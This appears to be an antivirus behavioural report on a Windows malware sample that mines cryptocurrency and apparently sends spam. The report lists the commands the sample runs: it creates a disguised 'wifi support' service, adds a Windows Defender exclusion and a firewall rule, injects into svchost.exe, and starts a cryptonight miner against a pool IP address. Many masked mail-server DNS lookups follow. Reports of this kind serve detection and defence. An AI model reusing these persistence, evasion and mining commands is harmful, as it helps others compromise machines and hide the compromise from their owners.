Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\jzntjezh] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\jzntjezh] 'ImagePath' = '%WINDIR%\SysWOW64\jzntjezh\jsmrjidz.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\jzntjezh] 'ImagePath' = '%WINDIR%\SysWOW64\jzntjezh\jsmrjidz.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\jzntjezh' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\jsmrjidz.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\jsmrjidz.exe to %WINDIR%\syswow64\jzntjezh\jsmrjidz.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://ip##fo.io/ip
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mx#.####industria-vero.it
- DNS ASK pe##le.com
- DNS ASK us#######nbound-2.mimecast.com
- DNS ASK ea###frican.it
- DNS ASK de#t.it
- DNS ASK ba###acker.com
- DNS ASK ba##########om.mail.protection.outlook.com
- DNS ASK vo#.it
- DNS ASK ma##.vol.it
- DNS ASK ya##o.co.uk
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK fr###rnidad.com
- DNS ASK co####.fraternidad.com
- DNS ASK sa####woodmgt.com
- DNS ASK sa#######dmgt.com.mx1.rcimx.com
- DNS ASK fl###per.com
- DNS ASK ko##s.com
- DNS ASK ve###nergia.it
- DNS ASK ma##.koons.com
- DNS ASK ma##.##cardsierra.com
- DNS ASK ma##.##cardymestres.com
- DNS ASK me##el.it
- DNS ASK mx#.#entel.it
- DNS ASK ac####itarworks.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK pl##a.com
- DNS ASK 14#######0.pamx1.hotmail.com
- DNS ASK po###giulio.it
- DNS ASK po##########it.mail.protection.outlook.com
- DNS ASK al#a.es
- DNS ASK ri####oville.com
- DNS ASK ma###il.com.sa
- DNS ASK ad###hia.com
- DNS ASK ad##########.mail.protection.outlook.com
- DNS ASK co####.#an.miniato.pi.it
- DNS ASK google.com
- DNS ASK is###.ing.unipg.it
- DNS ASK ri####ymestres.com
- DNS ASK ri####sierra.com
- DNS ASK sp#.net.sa
- DNS ASK co####il.sa-mte.com
- DNS ASK ap######edicalcentre.com
- DNS ASK ut###um.co.uk
- DNS ASK in########ster2.messageexchange.com
- DNS ASK gr###cegasa.com
- DNS ASK gr##########com.mail.protection.outlook.com
- DNS ASK qu##tia.com
- DNS ASK qu#########.mail.protection.outlook.com
- DNS ASK ya##o.com
- DNS ASK po###2.dylog.it
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ew######n-02.mbs.boeing.net
- DNS ASK fr###.fresnet.it
- DNS ASK ca###four.com
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK ut###web.com
- DNS ASK ut##edo.edu
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK ya##o.es
- DNS ASK ca###e-ed.com
- DNS ASK bl##########om.mail.protection.outlook.com
- DNS ASK bl###group.com
- DNS ASK li######.#lc.protection.outlook.com
- DNS ASK dn#######edge02.email.rr.com
- DNS ASK co###latin.com
- DNS ASK co##########om.mail.protection.outlook.com
- DNS ASK el###f.com.sa
- DNS ASK ma##.#lseif.com.sa
- DNS ASK mo###ains.com
- DNS ASK vi#.#ina.com
- DNS ASK us#.###.mailhostbox.com
- DNS ASK un####erkeley.org
- DNS ASK mx#.##p.sina.com
- DNS ASK as#.##flexion.net
- DNS ASK li##ro.it
- DNS ASK sm####n.libero.it
- DNS ASK un###bmx.com
- DNS ASK ma##.#nitybmx.com
- DNS ASK zf##e.co.nz
- DNS ASK li##.com
- DNS ASK so###.rr.com
- DNS ASK li####ineering.com
- DNS ASK bo##ng.com
- DNS ASK ac###heese.com
- DNS ASK va###llem.com
- DNS ASK th###twork.it
- DNS ASK ma##.#henetwork.it
- DNS ASK gm##l.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK va##ode.com
- DNS ASK bu####ss-post.com
- DNS ASK bu###########com02b.mail.protection.outlook.com
- DNS ASK si##a.it
- DNS ASK ma##.sigma.it
- DNS ASK ra##.com
- DNS ASK in.###.trendmicro.eu
- DNS ASK in###elecom.es
- DNS ASK mx###.#nfotelecom.es
- DNS ASK va###farms.com
- DNS ASK ag#####.wsigenesis.com
- DNS ASK tp#.#nfomail.es
- DNS ASK mx#.######deempresas.telefonica.es
- DNS ASK mx.##url.com
- DNS ASK ne#s.it
- DNS ASK tr###area.net
- DNS ASK te###.com.br
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ho##ail.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK co##ast.net
- DNS ASK mx#.#omcast.net
- DNS ASK ne#.it
- DNS ASK va#####ploration.com
- DNS ASK ma##.#-email.net
- DNS ASK ho###ail.com
- DNS ASK ex####ge.dewile.net
- DNS ASK bo##uge.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK vi#####br-mx.terra.com
- DNS ASK co###ter.org
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK kn##f.it
- DNS ASK va###olen.be
- DNS ASK pa##n.com
- DNS ASK as###.daum.net
- DNS ASK gr#####formacion.net
- DNS ASK mx##.1and1.es
- DNS ASK ca##tol.it
- DNS ASK cs##ve.net
- DNS ASK ju####eandalucia.es
- DNS ASK mx#.#ianet.ca
- DNS ASK mx#.###.#ailpod6-cph3.one.com
- DNS ASK te####mputers.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK va###oten.com
- DNS ASK mx#.###.#ailpod8-cph3.one.com
- DNS ASK in###don.net
- DNS ASK re###.interdon.net
- DNS ASK ge###auto.net
- DNS ASK ma##.#estiauto.net
- DNS ASK mx#.ovh.net
- DNS ASK pa##tel.com
- DNS ASK ma##.fresh.it
- DNS ASK na##r.com
- DNS ASK mx#.#aver.com
- DNS ASK as##ab.org
- DNS ASK sm##.##cureserver.net
- DNS ASK sc####e.unitn.it
- DNS ASK aspmx.l.google.com
- DNS ASK va##oile.be
- DNS ASK mx.####adeandalucia.es
- DNS ASK en####omedico.org
- DNS ASK d2#####.#.#ss.uk.barracudanetworks.com
- DNS ASK ao#.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK us.#bm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK po##ol.it
- DNS ASK pa##.dada.it
- DNS ASK fr##h.it
- DNS ASK ma###1.knauf.de
- DNS ASK mx##.1and1.mx
- DNS ASK dy###2.dylog.it
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\jzntjezh\jsmrjidz.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\jzntjezh\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jsmrjidz.exe" %WINDIR%\SysWOW64\jzntjezh\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create jzntjezh binPath= "%WINDIR%\SysWOW64\jzntjezh\jsmrjidz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description jzntjezh "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start jzntjezh' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\jzntjezh\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jsmrjidz.exe" %WINDIR%\SysWOW64\jzntjezh\
- '%WINDIR%\syswow64\sc.exe' create jzntjezh binPath= "%WINDIR%\SysWOW64\jzntjezh\jsmrjidz.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description jzntjezh "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start jzntjezh
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://91.203.5.139:8087 -u w1 -p x --nicehash --safe
